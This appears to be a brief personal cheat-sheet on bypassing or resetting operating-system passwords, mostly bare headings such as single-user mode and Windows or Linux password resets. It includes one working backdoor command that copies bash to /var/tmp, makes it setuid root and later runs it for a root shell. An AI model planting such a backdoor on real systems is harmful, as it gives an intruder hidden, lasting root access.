Ways to bypass / reset passwords on various OS's:
Actually bypassing passwords without resetting is unusual. It's more blackhat, something a sysadmin usually wouldn't need to do.
- single-user mode, combined with any backdoor
- cd /var/tmp; cp /bin/bash backdoor; chmod 4755 backdoor
(later) /var/tmp/backdoor -p
reset Windows password
reset Linux password
Boot into single-user mode